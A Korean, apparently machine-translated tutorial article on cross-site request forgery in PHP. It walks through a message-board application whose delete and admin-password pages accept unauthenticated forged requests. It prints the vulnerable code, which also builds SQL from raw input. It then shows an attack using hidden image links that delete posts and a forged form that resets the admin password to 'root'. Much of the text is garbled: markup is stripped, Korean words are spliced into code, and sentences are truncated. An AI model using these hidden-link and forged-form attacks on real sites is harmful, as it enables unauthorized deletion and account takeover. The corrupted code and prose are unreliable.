>  기사  >  백엔드 개발  >  PHP 취약점에 대한 전체 설명(6) - 사이트 간 요청 위조

PHP 취약점에 대한 전체 설명(6) - 사이트 간 요청 위조

黄舟
黄舟원래의
2016-12-22 09:27:581334검색

Cross Site Request Forgeries(Cross Site Request Forgeries), 즉 크로스 사이트 요청 위조(Cross Site Request Forgeries)도 XSRF로 작성됩니다. 공격자는 대상 사용자의 HTTP 요청을 위조한 다음 CSRF 취약점이 있는 웹 사이트에 이 요청을 보냅니다. 웹 사이트가 이 요청을 실행한 후 교차 사이트 요청 위조 공격이 시작됩니다. 공격자는 은밀한 HTTP 연결을 사용하여 대상 사용자가 자신도 모르게 이 링크를 클릭할 수 있도록 합니다. 사용자가 직접 링크를 클릭했고 적법한 권한을 가진 합법적인 사용자이기 때문에 대상 사용자는 웹사이트 링크 내에서 특정 HTTP 명령을 실행할 수 있습니다. 공격자의 목적.
예: 쇼핑 웹사이트에서 상품을 구매할 때 http://www.shop.com/buy.php?item=watch&num=1을 사용하세요. item 매개변수는 구매할 상품을 결정하고 num 매개변수는 공격자가 몰래 대상 사용자에게 링크를 보낸 경우 대상 사용자가 실수로 접속한 경우 구매 수량은
인스턴스
Suiyuan Network PHP Message Board V1.000입니다. 0
임의로 메시지 삭제
//delbook.php 이 페이지는 메시지 삭제에 사용됩니다
include_once("dlyz.php") //dlyz.php 사용자 확인 권한, 권한이 admin인 경우에만 사용됩니다. 메시지 삭제 가능
include_once( "../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="data" )
{
$ID_Dele= implode(“,”,$_POST['adid']);
$sql=”delete from book where id in (“. $ID_Dele.”)”;
mysql_query($sql);
}
else
{
$sql=”delete from book where id=”.$id; 삭제할 메시지 ID
mysql_query ($sql);
}
mysql_close($conn);
echo “”;
echo “alert('삭제 성공!');”;
echo ” location='book .php';";
echo "";
?>
관리자 권한이 있고 http://localhost/manage/delbook.php? id=2, id가 삭제됩니다. 2

"delbook.php?id=4" />
"delbook.php?id=5" />
사진 링크 4개 삽입 id 메시지 4개를 각각 삭제한 뒤 홈페이지로 돌아가서 찾아보면 아무런 변화가 없습니다. . 사진을 표시할 수 없습니다
이제 관리자 계정으로 로그인하여 홈페이지를 새로 고치면 메시지가 하나만 남아 있고 사진 링크에 지정된 ID 번호가 있는 다른 메시지는 모두 삭제된 것을 확인할 수 있습니다.
공격자는 메시지에 숨겨진 사진 링크를 삽입합니다. 이 링크는 공격자가 직접 해당 사진 링크에 접근할 경우에는 권한이 없으므로 아무런 효과도 볼 수 없습니다. 관리자 로그인 후 이 메시지를 보면 숨겨진 링크가 실행되며 권한이 충분히 크므로
관리자 비밀번호 변경
//pass.php
해당 메시지는 삭제됩니다. ($_GET[“행위”])
{
$username=$_POST[“사용자 이름”];
$sh=$_POST[“sh”];
$gg=$_POST[ "gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."
설계 및 제작: 해커 계약 보안 네트워크";
$ 비밀번호=md5($_POST[“비밀번호”]);
if(emptyempty($_POST[“비밀번호”]))
{
$sql=”update gly set username='”.$ 사용자 이름 .”',sh=”.$sh.”,gg='”.$gg.”',title='”.$title.”',copyright='”.$copyright.”' 여기서 id=1 ″ ;
}
else
{
$sql=”update gly set username='”.$username.”',password='”.$password.”',sh=”. $ sh.”,gg='”.$gg.”',title='”.$title.”',copyright='”.$copyright.”' 여기서 id=1″;
}
mysql_query ($sql);
mysql_close($conn);
echo “”;
echo “alert('수정 성공!');”;
echo ” location='pass.php' ;”;
echo “”;
}
이 파일은 관리 비밀번호와 웹사이트 설정에 대한 일부 정보를 수정하는 데 사용됩니다.


<입력 유형=” radio” value=” 1″ name=”sh”>


<입력 유형=”비밀번호” 이름=”비밀번호” 값=”루트”>
<입력 유형=”텍스트” 이름=”제목” value=”Suiyuan Network PHP 메시지 보드 V1.0(감사 기능 포함)” >